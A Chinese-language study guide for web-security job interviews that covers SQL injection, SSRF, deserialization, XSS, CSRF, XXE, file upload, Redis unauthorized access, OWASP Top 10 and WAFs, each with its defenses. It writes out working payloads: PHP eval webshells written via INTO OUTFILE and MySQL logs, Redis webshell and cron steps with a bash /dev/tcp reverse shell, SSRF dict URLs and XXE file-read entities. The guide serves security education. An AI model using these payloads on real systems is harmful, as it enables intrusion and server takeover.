网安面试。

SQL注入

sql注入原理

对用户输入的数据没有进行严格的过滤与判断,导致用户构造各种恶意 payload 拼接进后台数据库查询语句中执行。

sql的类型
  1. 联合注入

  2. 堆叠注入

  3. 宽字节注入

  4. cookie注入

  5. XFF头注入

  6. UA注入(user-agent注入)

  7. Referer注入

  8. 二次注入

  9. base64注入

  10. 万能密码

  11. 文件读写

盲注类型:

  1. 基于时间的盲注 sleep() benchmark()

  2. 基于布尔的注入

  3. 基于报错的注入updatexml() extractvalue() floor() exp()

报错注入、时间盲注主要用到的函数
  1. floor() 需要确保查询的表必须大于三条数据

  2. extractvalue() 返回数据长度限制,最长32位

  3. updatexml() 返回数据长度限制,最长32位

  4. name_const()

  5. exp()

  6. convert()

时间:sleep()

sql注入宽字节的原理

由于PHP utf-8编码 数据库GBK编码,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来

sql注入防御
  • 使用参数化查询或预编译语句:

参数化查询使用占位符(例如问号或冒号)来表示查询中的变量,然后通过参数绑定的方式将用户提供的数据与查询语句分开。这样用户的输入只会被当作参数,可以防止用户输入被错误地解释为SQL代码。

  • 输入验证和过滤:

过滤可以去除或转义输入中的特殊字符,以防止它们被错误地解释为SQL代码。可以使用正则表达式或内置的验证函数来验证输入数据,并使用转义函数或安全的编码机制来过滤特殊字符。

  • 最小权限原则:

为应用程序连接数据库的账户分配最低限度的权限,只提供执行必要操作的权限。

  • 不信任外部数据:

对于从外部来源获取的数据(例如用户输入、API调用等),应该始终将其视为不可信任的,并进行适当的验证和处理。不要直接将外部数据拼接到SQL查询中,而是使用参数化查询或预编译语句。

  • 使用安全的编程实践:

遵循安全的编程实践,如不在应用程序中直接拼接SQL查询、避免动态拼接查询字符串、避免使用可执行字符串的函数等。

sqlmap中的risk和level的区别

risk风险等级 越大则测试的语句越多 强调数量

level探测的深度 越大则测试的范围越广 例如cookie host 等等都会测试 强调范围

SQL注入的WAF绕过方法
  • 1.大小写绕过注入

  • 2.双写绕过注入

  • 3.编码绕过注入

  • 4.内联注释绕过注入

SQL注入的危害
  • 1.获取数据库数据 数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。

  • 2.网页篡改 通过操作数据库对特定网页进行篡改,严重影响正常业务进行与受害者信誉。

  • 3.网页挂马 将恶意文件或者木马下载链接写入数据库,修改数据库字段值,进行挂马攻击。

  • 4.篡改数据库数据 攻击数据库服务器,篡改或者添加普通用户或者管理员帐号。

  • 5.获取服务器权限 列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让攻击者得以修改或控制操作系统。

SQL注入如何写入webshell

条件:

1、知道web绝对路径

2、有文件写入权限(一般情况只有ROOT用户有)

3、数据库开启了secure_file_priv设置

然后就能用select into outfile写入webshell

  • 查看secure_file_priv的状态,命令:show VARIABLES like ‘%secure%’ 查看是否有文件读取权限。

  • 查看当前用户是否有File权限

  • 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

  • 知道网站目录的绝对路径

union select写入

union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';

分隔符写入 当union无法使用时,还可以利用分隔符写入:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#
1234567

log写入 新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话木马,这时我们可以通过修改MySQL的log文件来获取webshell。

show variables like '%general%';                     #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式

然后就可以在网站目录下创建一个shell.php,里边有我们写入的一句话木马 在这里插入图片描述 打开执行phpinfo 在这里插入图片描述

SSRF

SSRF原理

SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。

服务端提供了能够从其他服务器应用获取数据的功能,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求,进行未授权访问。

当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。

ssrf种类
  1. 显示对攻击者的响应(Basic):它显示对攻击者的响应

    1. 因此在服务器获取攻击者要求的URL后,它将把响应发送回攻击者

    2. 返回结果到客户端,如传送一个网址,会返回这个网址的界面或对应的 html 代码。

  2. 不显示响应(Blind):和上面正好相反,不会返回结果到客户端。

    1. 当您从未从初始请求中获取有关目标服务的任何信息时,就会发生这种ssrf。

    2. 通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。

    3. 要在这种情况下确认漏洞,攻击者必须使用Burp,DNSbin等类似工具。

    4. 这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用。

  3. Semi-ssrf:与Blind相似,这种ssrf不会返回相关结果请求的所有详细信息,但是会暴露一些数据。

    1. 这可能是部分数据或错误信息,他们为攻击者提供了更多信息。

    2. 有时,关于请求的元数据(例如响应时间)也可以视为Semi-ssrf,因为它们允许攻击者验证请求是否成功。这种ssrf通常足以验证漏洞,但并不总是能够提取敏感数据。

SSRF常用的协议

file 用于读取文件

dict 用于探测一些端口 以及数据库信息

LDAP 目录扫描

TFTP 它允许客户端从远程主机获取文件或将文件上传至远程主机 上传shell

sftp、gopher

SSRF怎么结合Redis相关漏洞利用?

主要通过两种协议,dict协议和gopher协议。

dict协议利用redis相关漏洞:

探测端口: ssrf.php?url=dict://x.x.x.x:*端口 端口端口* 利用burpsuite爆破端口 探测是否设置弱口令: ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码 爆破密码: ssrf.php?url=dict://x.x.x.x:6379/auth:*密码 密码密码* 利用burpsuite爆破密码 写入webshell:

1.  url=dict://xxx.xxx:6379/config:set:dir:/var/www/html   切换文件目录
2.  url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php   设置保存文件名
3.  url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"     //利用dict协议写入webshell   以上的字符编码是<?php phpinfo();?>的十六进制
4.  url=dict://x.x.x.x:6379/save   保存
1.  url=dict://xxx.xxx:6379/config:set:dir:/var/www/html   切换文件目录
2.  url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php   设置保存文件名
3.  url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
1234567

//利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制 4.ssrf.php?url=dict://x.x.x.x:6379/save 保存 dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似

gopher协议利用redis未授权访问漏洞写入webshell: 常规利用步骤: set x “\n\n\n<?php @eval($_POST['redis']);?>\n\n\n” config set dir /var/www/html config set dbfilename shell.php save 两次url编码后构造url: 在这里插入图片描述 //第一次url解码和第二次url解码 //同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似

SSRF漏洞经常存在的位置?
  • 分享:通过URL地址分享网页内容

  • 转码服务

  • 在线翻译

  • 图片加载与下载:通过URL地址加载或下载图片

  • 图片、文章收藏功能

  • 未公开的api实现以及其他调用URL的功能

SSRF漏洞的危害
  • 攻击者可以在服务器端内部网络中进行扫描和攻击。

  • 向内部任意主机的任意端口发送payload来攻击内网服务

  • 攻击内网的web应用,如直接SQL注入、XSS攻击等

  • 攻击者可以通过向本地端口发送请求来绕过防火墙等网络安全设备。

  • 攻击者可以利用SSRF漏洞进行钓鱼攻击、内网渗透等攻击。

  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

  • 利用file、gopher、dict协议读取本地文件、执行命令等

  • 可以无视网站CDN

SSRF漏洞防御
  • 禁止跳转

  • 过滤返回的信息

  • 如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  • 统一错误信息:避免用户可以根据错误信息来判断远程服务器的端口状态。

  • 限制请求的端口:比如80,443,8080,8090。

  • 禁止除HTTP和HTTPS外的协议:比如说仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://请求等引起的问题。

  • 对请求地址设置白名单或者限制内网IP

简单讲一下反序列化漏洞

序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式,反序列化则与其相反,即将字节序列转化为对象供程序使用。程序在进行反序列化时会调用一些函数,比如常见的PHP 反序列化函数 unserialize()以及一些常见的魔术方法,比如构造函数construct(),析构函数destruct() ,wakeup(),toString(0) ,sleep0等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞

java反序列化

Java反序列化漏洞是指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行。

fastjson

原理:

fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

判断:

正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。

无回显怎么办:

1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果 2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了 3.直接将命令执行结果回显到请求Poc的HTTP响应中

shiro-550

Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。

AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞

Payload构造:命令-序列化-AES加密-base64编码-rememberme Cookie值

shiro-721

与550区别:550使用已知密钥碰撞,只要有足够密钥库,不需要rememberme cookie 721的key随机生成,猜不到,可使用登录后rememberme去爆破正确的key值,即用有效的cookie作为padding Oracle attack前缀,然后再构造cookie实现反序列化

如何发现shiro漏洞

登陆失败时候会返回 rememberMe=deleteMe 字段或者使用 shiroScan 被动扫描去发现

哪些漏洞会被高频利用于打点

  • a.ApacheShiro相关漏洞

  • b.Fastjson漏洞

  • c.Log4j

  • d.上传漏洞

  • e.边界网络设备资产+弱口令

log4j RCE

Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。

log4j2

这个漏洞不是由反序列化引起的,而是由于 Log4j2 的 JNDI 功能中的错误处理导致的。攻击者可以通过精心构造的日志消息触发 Log4j2 中的 JndiLookup 类来执行任意代码,从而导致远程代码执行。

xss

  • 原理:XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。

类型

反射性、存储型、DOM型

请添加图片描述请添加图片描述请添加图片描述

XSS的危害与防御
  • 危害:窃取受害者的敏感信息、绕过访问控制、利用受害者的身份进行攻击、篡改网页内容、发起钓鱼攻击等等。窃取cookie,抓取屏幕截图获取键盘记录,重定向,植入广告,恶意链接网页钓鱼,网页挂马,结合网页挂马或者其他工具(Metasploit)获取服务器或者操作系统权限。

  • 防御:对用户输入进行严格的过滤和验证、采用安全的编程语言和框架、使用安全的API和库函数、使用HTTP-only Cookie、限制用户输入等等。此外,还可以使用一些安全工具和技术来检测和防御XSS漏洞,例如:Web应用程序防火墙(WAF)、安全编码规范和审计、反射性XSS漏洞检测等等。

CSRF漏洞

原理

CSRF(Cross -Site Request Forgery ),跨站请求伪造攻击,是一种对网站的恶意利用。攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行。

CSRF漏洞分类
  • GET型

  • POST型

CSRF漏洞的危害
  • 盗取用户敏感信息,如登录信息、支付信息等。

  • 非法修改用户数据,如发表恶意言论、篡改个人资料等。

  • 执行任意操作,如利用受害者账号进行网络攻击等

CSRF漏洞的防御
  • 使用CSRF Token机制,将随机生成的Token与表单、链接等操作绑定,使攻击者无法伪造请求。

  • 增加足够的身份验证机制,如密码、短信验证等,减少攻击者利用受害者身份的可能性。

  • 使用HTTP Referer验证,判断请求来源是否合法。

  • 避免使用GET方式提交表单,减少攻击者通过获取URL进行攻击的可能性。

  • 对敏感操作进行二次确认,提示用户确认操作行为。

XXE

XML 外部实体注入是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE漏洞原理、检测与修复 - Mysticbinary - 博客园 (cnblogs.com)

如何构建XXE攻击?

(1)直接通过DTD外部实体声明

<!DOCTYPE a [
   <!ENTITY a SYSTEM "file:///etc/passwd">
]>
123

(2)通过DTD文档引入外部DTD文档,再引入外部实体声明

<! DOCTYPE a SYSTEM "http:/test.com/abc.dtd">
1

dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" > (3)通过DTD文档引入外部实体声明

<!DOCTYPE a [
   <!ENTITY % d SYSTEM "http:/test.com/abc.dtd">
   %d;
]>
1234

dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >

XXE漏洞的防御
  • 禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。

  • 过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

未授权访问漏洞

未授权访问是系统对用户限制不全,或者无限制,可以让任意用户或者限制访问用户,访问到需要权限认证的地址。未授权访问通常是会泄露用户信息,系统信息。某些服务和系统中,未授权访问还可以执行系统命令,操作系统文件,导致系统的整体安全遭到破坏。

常见的未授权访问漏洞

a.MongoDB未授权访问漏洞

b.Redis未授权访问漏洞

c.Memcached未授权访问漏洞

d.JBOSS未授权访问漏洞

e.VNC未授权访问漏洞

f.Docker未授权访问漏洞

g.ZooKeeper未授权访问漏洞

h.Rsync未授权访问漏洞

逻辑漏洞

验证码相关的,例如重复利用,验证码无效等,越权漏洞等等 越权漏洞 密码修改 密码找回 验证码漏洞 支付漏洞 投票/积分/抽奖 短信轰炸

常见的框架漏洞

shiro550,721,fastjson,jog4j,thingkphp

文件上传漏洞

文件上传漏洞的原理

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。

<?php @eval($_POST['666']);?>
文件上传漏洞的危害
  • 上传webshell,控制服务器、远程命令执行

  • 上传系统病毒、木马文件进行挖矿、僵尸网络

  • 进行提权操作

  • 修改web页面,实现钓鱼、挂马等操作。

  • 进行内网渗透。

文件上传功能的监测点有哪些?
  • 客户端的JS检测(主要检测文件名后缀)

  • 服务端检测(MINE类型检测、文件后缀名、文件格式头)

文件上传漏洞的防御

在这里插入图片描述

文件上传漏洞常见上传点
  • 图片上传:png,jpg.

  • 文件上传:php

  • 头像上传:

  • Flash上传:上传文件名:击者可以通过构造含有特殊字符的文件名来绕过服务器的检查,以实现攻击的目的。

文件上传漏洞的前提条件

在这里插入图片描述

文件包含漏洞

文件包含漏洞原理

服务器在解析动态页面时,将用户提交的输入作为参数传递给后台处理程序,如果没有对用户输入进行充分的过滤和验证,攻击者可以通过构造特殊的输入,让服务器包含恶意文件或者代码,进而实现攻击目的。

文件包含函数

PHP:Include()、Require()、Include_once()、Require_once()

文件包含漏洞分类
在这里插入图片描述

RCE远程代码执行

RCE漏洞原理

简称RCE,指攻击者能够在远程系统上执行恶意代码的一种攻击方式。攻击者通常利用漏洞,将恶意代码注入到受攻击的应用程序或操作系统中,从而实现在远程系统上执行任意代码的目的.——能执行任意代码导致它的危害非常高。 注意:RCE不同于其他漏洞,它更多的表示一种结果,其他漏洞导致了RCE的结果。

RCE漏洞成因

在这里插入图片描述 上述123前提都没有,依旧有可能发生RCE 在这里插入图片描述

常见编程语言执行函数

在编程语言中,有一些执行函数可能会带来安全风险,因为它们允许执行动态代码或系统命令。以下是一些常见编程语言中的执行函数和对应的语言名称: Python: eval(): Python的内置函数,用于执行字符串中的Python代码。 exec(): Python的内置函数,用于执行包含Python代码的字符串或代码对象。

JavaScript: eval(): JavaScript的全局函数,用于执行包含JavaScript代码的字符串。

PHP: shell_exec() eval(): PHP的函数,用于执行包含PHP代码的字符串。 exec(): PHP的函数,用于执行系统命令。

Java: Runtime.exec(): Java的类方法,用于执行系统命令。 ProcessBuilder: Java的类,用于创建进程并执行系统命令。

C#: Process.Start(): C#的方法,用于执行系统命令。 System.Diagnostics.Process: C#的类,用于创建进程并执行系统命令。

Ruby: eval(): Ruby的方法,用于执行包含Ruby代码的字符串。 system(): Ruby的方法,用于执行系统命令。

Go: os/exec 包: Go的标准库中的包,用于执行系统命令。

Shell 脚本: eval: 用于执行包含 Shell 脚本代码的字符串。 $(): 用于执行命令并返回输出。 这些函数和方法在正确使用的情况下是有用的,但在接受用户输入或不充分验证的情况下,它们可能导致安全漏洞。因此,在编写代码时,务必小心使用这些执行函数,并始终对用户输入进行充分验证和过滤,以防止潜在的安全风险。

RCE漏洞如何防御

在这里插入图片描述

RCE漏洞的危害

在这里插入图片描述

中间件常见漏洞

IIS(微软的Web服务器软件):PUT漏洞(文件上传) 短文件名猜解 远程代码执行 解析漏洞

Apache(开源的、跨平台的Web服务器软件):解析漏洞 目录遍历 未授权

Nginx(高性能的Web服务器和反向代理服务器):文件解析(1.jpg/.php) 目录遍历 CRLF注入 目录穿越(../../)

Tomcat 远程代码执行 war后门文件部署

jBoss:反序列化漏洞 war后门文件部署

WebLogic:反序列化漏洞 SSRF 任意文件上传 war后门文件部署

redis数据库常见漏洞

redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:

1.向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)

条件:服务器存在.ssh目录且具有写入的权限

原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

2.写入webshell

条件:已知web绝对路径。

步骤:

  1. redis -cli -h 192.168.x.x 连接目标服务器

  2. config set dir “/var/www/html” 设置保存文件路径

  3. config set dbfilename shell.php 设置保存文件名

  4. set x “\n\n<?php @eval($_POST['cmd']); ?>\n” 将webshell写入x键值中

  5. save 保存

局限:

  1. 服务器处于内网,写入webshell后我们的公网IP无法连接

  2. 服务器IP地址不固定

  3. 6379端口不允许入方向

  4. 上传webshell可能直接被杀毒软件删除

3.反弹连接shell

设置监听端口,常用的工具1.msf 2.netcat 3.socat

利用msf设置监听步骤:

  1. use exploit/multi/handler

  2. set payload generic/shell_reverse_tcp

  3. set lhost 192.168.x.x 默认监听端口为4444

  4. run

4.定时任务反弹shell

步骤:

定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令

(1) config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中

(2) config set dbfilename root //设置保存文件名

(3)set x “\n * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n” //将反弹shell写入x键值中

(4)save //保存

利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制

理由如下:

1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行 2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错 3.两个系统的定时任务文件目录不同

利用主从复制getshell

条件:版本(4.x~5.0.5)

原理:数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。

利用工具:

RedisRogueServer

地址:

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

使用工具的命令:

python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so

两种使用方法:

交互式

反弹式

限制:

利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用

redis未授权访问漏洞的防范措施:

1.添加登录密码

2.修改默认端口

3.关闭端口

4.禁止以root用户权限启动,以低权限启动redis服务

OWASP Top 10

OWASP,全称“开放式Web应用程序安全项目”是一个非营利性的组织,2003年该组织首次出版了“Top 10”,也就是10项最严重的Web应用程序安全风险列表。Top 10 总结了Web应用程序最可能、最常见、最危险的十大安全漏洞。

Top1 失效的访问控制 失效的访问控制,也叫越权,指的是在未对通过身份验证的用户,实施恰当的访问控制。攻击者可以利用这一漏洞,访问未经授权的功能或数据。

比如,访问其他用户的账户、查看敏感文件、修改其他用户的数据,更改访问权限等等,都属于失效的访问控制造成的后果。

常见的访问漏洞包括: 通过修改 URL、内部应用程序状态或 HTML 页面,或仅使用自定义 API 攻击工具来绕过访问控制检查。 允许将主键更改为其他用户的记录,允许查看或编辑其他人的帐户。 特权提升。在未登录的情况下充当用户或以用户身份登录时充当管理员。 元数据操作,例如重放或篡改 JSON Web 令牌 (JWT) 访问控制令牌,或用于提升权限或滥用 JWT 失效的 cookie 或隐藏字段。 CORS 错误配置允许未经授权的 API 访问。 强制以未经身份验证的用户身份浏览经过身份验证的页面或以标准用户身份浏览特权页面。访问 API 时缺少对 POST、PUT 和 DELETE 的访问控制。 Top2 加密失败 在之前的Top10中,“加密失败”以前叫做“敏感数据泄露”,敏感数据泄露的根本原因是对数据加密存在有机可乘的漏洞,因此2021版改称为“加密失败”更贴切一些。

对于需要加密或加密传输的数据,

常见的漏洞包括: 数据采用明文形式传输,例如使用HTTP、SMTP和FTP等协议。 默认情况下或在老代码中使用弱加密算法或过时的加密算法。 未强制执行加密。 用户代理不验证服务器证书是否有效。 Top3 注入 随着大量主流框架被使用,发生注入攻击的概率也随之下降,“注入”也从2017年的第一位下降到第三位。

SQL注入是典型的注入攻击,攻击者可以在web应用程序中事先定义好的查询语句的结尾,添加额外的SQL语句,从而实现非法操作。

常见的漏洞包括: 不验证、过滤和清理用户提供的数据 没有上下文感知转义的动态查询或非参数化调用直接在解释器中使用。 在对象关系映射 (ORM) 搜索参数中使用恶意数据来提取额外的敏感记录。 直接使用或连接恶意数据。SQL 或命令包含动态查询、命令或存储过程中的结构和恶意数据。 Top4 不安全的设计 “不安全设计”是2021年新增的一个类型,它重点关注的是设计缺陷的风险,“不安全设计”代表的是一类漏洞。

Top5 安全配置错误 90%的web应用程序都经历过错误配置测试,这些将导致安全风险。

常见的漏洞: 在应用程序堆栈的任何部分缺少适当的安全强化或对云服务的权限配置不正确。 启用或安装了不必要的功能(例如,不必要的端口、服务、页面、帐户或权限)。 默认帐户及其密码仍处于启用状态且未更改。 错误处理向用户显示堆栈跟踪或其他信息过多的错误消息。 对于升级的系统,最新的安全功能被禁用或未安全配置。 应用程序服务器、应用程序框架(例如,Struts、Spring、ASP.NET)、库、数据库等中的安全设置未设置为安全值。 服务器不发送安全标头或指令,或者它们未设置为安全值。 软件已过时或易受攻击(请参阅 A06:2021-易受攻击和过时的组件)。 Top6 易受攻击和过时的组件 如果客户端和服务器使用了易受攻击的组件版本,就可能成为被攻击者攻击的目标。

常见的漏洞有: 不知道所使用的组件的版本 不定期扫描漏洞,不关注所使用组件的官方公告 没有以基于风险的方式及时修复或升级底层平台、框架和依赖项。这通常发生在修补是变更控制下的每月或每季度任务的环境中,使组织面临数天或数月不必要地暴露于固定漏洞的风险。 软件开发人员不测试、升级或修补库的兼容性 不保护组件的配置 Top7 认证和授权失败 通俗地说,该漏洞会导致攻击者使用用户的用户名和密码进行填充,从而入侵系统。

常见的漏洞有: 允许自动攻击,例如撞库,其中攻击者拥有有效用户名和密码的列表。 允许蛮力或其他自动攻击。 允许使用默认密码、弱密码或众所周知的密码,例如“Password1”或“admin/admin”。 使用弱或无效的凭据恢复和忘记密码流程,例如无法确保安全的“基于知识的答案”。 使用纯文本、加密或弱散列密码(请参阅 A3:2017-敏感数据泄露)。 缺少或无效的多因素身份验证。 在 URL 中公开会话 ID(例如,URL 重写)。 成功登录后不要轮换会话 ID。 不会正确地使会话 ID 无效。用户会话或身份验证令牌(主要是单点登录 (SSO) 令牌)在注销或一段时间不活动期间未正确失效。 Top8 软件和数据完整性故障 同样,这也是一个新增的类型,指的是在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。

Top9 安全日志记录和监控失败 2017年以前,“安全日志记录和监控失败”叫做“日志记录和监控不足”,此类型已经扩展包括很多类型的漏洞。它指的是在没有日志记录和监控,将无法检测到漏洞,此类故障会直接影响可见性、事件报警和取证。

常见的漏洞: 不记录可审计的事件,例如登录、失败登录和高价值交易。 警告和错误不会生成、不充分或不清楚的日志消息。 不会监控应用程序和 API 的日志是否存在可疑活动。 日志仅存储在本地。 适当的警报阈值和响应升级流程没有到位或有效。 DAST 工具(例如 OWASP ZAP)的渗透测试和扫描不会触发警报。 应用程序无法实时或接近实时地检测、升级或警告主动攻击。 通过使用户或攻击者可以看到日志记录和警报事件,您很容易受到信息泄漏的影响(请参阅 A01:2021 – 损坏的访问控制)。 Top10 服务器端请求伪造 这一漏洞是在行业调查中添加的,数据显示发生概率较低。

端口

21端口:FTP 文件传输服务 22端口:SSH协议、SCP(文件传输)、端口号重定向 23/tcp端口:TELNET 终端仿真服务 25端口:SMTP 简单邮件传输服务 53端口:DNS 域名解析服务 69/udp:TFTP 80/8080/3128/8081/9098端口:HTTP协议代理服务器 110/tcp端口:POP3(E-mail) 119端口:Network 123端口:NTP(网络时间协议) 135、137、138、139端口: 局域网相关默认端口,应关闭 161端口:SNMP(简单网络管理协议) 389端口:LDAP(轻量级目录访问协议)、ILS(定位服务) 443/tcp 443/udp:HTTPS服务器 445:smb 永恒之蓝 465端口:SMTP(简单邮件传输协议) 873端口:rsync 1080端口:SOCKS代理协议服务器常用端口号、QQ 1158端口:ORACLE EMCTL 1433/tcp/udp端口:MS SQLSERVER数据库server、MS SQLSERVER数据库monitor 1521端口:Oracle 数据库 2100端口:Oracle XDB FTP服务 3389端口:远程登录rdp 3306端口:MYSQL数据库端口 5432端口:postgresql数据库端口 5601端口:kibana 6379端口:Redis数据库端口 8080端口:TCP服务端默认端口、JBOSS、TOMCAT、Oracle XDB(XML 数据库) 8081端口:Symantec AV/Filter for MSE 8888端口:Nginx服务器的端口 9000端口:php-fpm 9080端口:Webshpere应用程序 9090端口:webshpere管理工具 9200端口:Elasticsearch服务器端口 10050端口:zabbix_server 10050 10051端口:zabbix_agent 11211端口:memcache(高速缓存系统) 27017端口:mongoDB数据库默认端口 22122端口:fastdfs服务器默认端口

端口信息收集的方法

  • Nmap:namp -sv -p 1-65535 ip值

  • 御剑

  • Masscan

  • zmap

WAF

在这里插入图片描述

绕过WAF的方法

在这里插入图片描述

WAF的分类

WAF(Web 应用程序防火墙)产品通常可以分为以下几种分类:

基于签名的 WAF:基于签名的 WAF 通过检测请求中是否包含已知漏洞的特征,来拦截攻击。这种类型的 WAF 可以快速识别和阻止已知的攻击方式。

基于行为的 WAF:基于行为的 WAF 使用机器学习、人工智能等技术来分析请求的行为模式,并判断其是否具有攻击性。这种类型的 WAF 能够较好地识别未知攻击。

综合型 WAF:综合型 WAF 结合了基于签名和基于行为两种技术,能够同时检测已知攻击和未知攻击,提供更加全面的保护。

WAF如何拦截攻击

黑名单过滤:根据已知的攻击方式,设置黑名单规则,对符合规则的请求进行拦截。

白名单过滤:对请求进行白名单过滤,只允许符合规则的请求通过。

